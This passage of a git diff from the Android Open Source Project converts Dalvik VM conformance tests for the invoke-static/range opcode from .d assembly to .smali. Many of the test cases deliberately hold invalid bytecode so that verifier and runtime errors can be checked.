+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_13;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    invoke-static/range {v1 .. v1}, Ldot/junit/opcodes/invoke_static_range/TestClass;->test1(F)I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.d
deleted file mode 100644
index 08c04ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestClassInitError.java
-.class public dot.junit.opcodes.invoke_static_range.d.TestClassInitError
-.super java/lang/Object
-
-.method static public <clinit>()V
-.limit regs 2
-
-    const v0, 1
-    const v1, 0
-    div-int v0, v0, v1
-    return-void
-.end method
-
-.method static public test()V
-    return-void
-.end method
-
-.source T_invoke_static_range_14.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/d/TestClassInitError/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/T_invoke_static_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/T_invoke_static_range_14.smali
new file mode 100644
index 0000000..427f355
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/T_invoke_static_range_14.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/TestClassInitError;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/TestClassInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/TestClassInitError.smali
new file mode 100644
index 0000000..0447b91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_14.smalis/TestClassInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/TestClassInitError;
+.super Ljava/lang/Object;
+.source "TestClassInitError.java"
+
+
+# direct methods
+.method public static constructor <clinit>()V
+    .registers 2
+
+    const v0, 0x1
+
+    const v1, 0x0
+
+    div-int v0, v0, v1
+
+    return-void
+.end method
+
+.method public static test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.d
deleted file mode 100644
index c56d3c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_15.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 6
-
-    const v1, 123
-    const v2, 345
-
-    const v3, 12
-    const v4, 6
-    
-    invoke-static/range {v3..v4}, dot/junit/opcodes/invoke_static_range/TestClass/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 2
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 345
-    if-ne v2, v4, Label0
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali
new file mode 100644
index 0000000..363eb17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 6
+
+    const v1, 123
+    const v2, 345
+
+    const v3, 12
+    const v4, 6
+    
+    invoke-static/range {v3..v4}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 2
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 345
+    if-ne v2, v4, :Label0
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.d
deleted file mode 100644
index c66089b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_16.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static/range {v3}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali
new file mode 100644
index 0000000..9094b8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static/range {v3}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.d
deleted file mode 100644
index b2ce948..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_17.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/TestClass/testProtected()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali
new file mode 100644
index 0000000..c933ae5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testProtected()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.d
deleted file mode 100644
index 19fec09..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TestProtected.java
-.class public dot.junit.opcodes.invoke_static_range.d.TestProtected
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method protected static testP()I
-.limit regs 2
-    const v0, 888
-    return v0
-.end method
-
-
-.source T_invoke_static_range_18.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/d/TestProtected/testP()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/T_invoke_static_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/T_invoke_static_range_18.smali
new file mode 100644
index 0000000..df19aae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/T_invoke_static_range_18.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_18.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/TestProtected;->testP()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/TestProtected.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/TestProtected.smali
new file mode 100644
index 0000000..e18a3ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_18.smalis/TestProtected.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/TestProtected;
+.super Ljava/lang/Object;
+.source "TestProtected.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method protected static testP()I
+    .registers 2
+
+    const v0, 0x378
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.d
deleted file mode 100644
index 051df3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_19.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_19
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-
-       invoke-static/range {}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const/4 v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali
new file mode 100644
index 0000000..314b922
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_19.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-static/range {}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const/4 v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.d
deleted file mode 100644
index 67e9a13..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_2.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/TestClass/test()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali
new file mode 100644
index 0000000..ee63c01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->test()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.d
deleted file mode 100644
index 5819881..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_20.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const-wide v1, 1
-       invoke-static/range {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali
new file mode 100644
index 0000000..6bbd34c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const-wide v1, 1
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.d
deleted file mode 100644
index 6ee8671..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.d
+++ /dev/null
@@ -1,58 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TTestInterface.java
-.interface public dot.junit.opcodes.invoke_static_range.d.TTestInterface
-
-.method public abstract test()V
-.end method
-
-; =====================================
-
-.source TTestInterfaceImpl.java
-.class public dot.junit.opcodes.invoke_static_range.d.TTestInterfaceImpl
-.super java/lang/Object
-.implements dot.junit.opcodes.invoke_static_range.d.TTestInterface
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test()V
-    return-void
-.end method
-
-; =====================================
-
-.source T_invoke_static_range_24.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_24
-.super dot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 8
-
-       invoke-static/range {v7}, dot/junit/opcodes/invoke_static_range/d/TTestInterface/test()V
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..c69558a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_static_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..3c8d562
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
